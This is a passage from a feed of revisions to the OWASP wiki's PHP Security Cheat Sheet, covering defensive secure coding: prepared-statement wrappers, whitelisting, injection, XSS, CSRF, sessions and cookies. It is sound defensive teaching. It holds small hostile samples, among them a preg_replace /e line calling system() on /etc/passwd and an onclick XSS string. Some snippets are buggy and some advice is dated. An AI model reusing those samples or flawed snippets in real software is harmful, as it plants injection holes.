                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184326</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184326"/>
				<updated>2014-10-30T08:18:15Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: Added items from 'OLD' section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
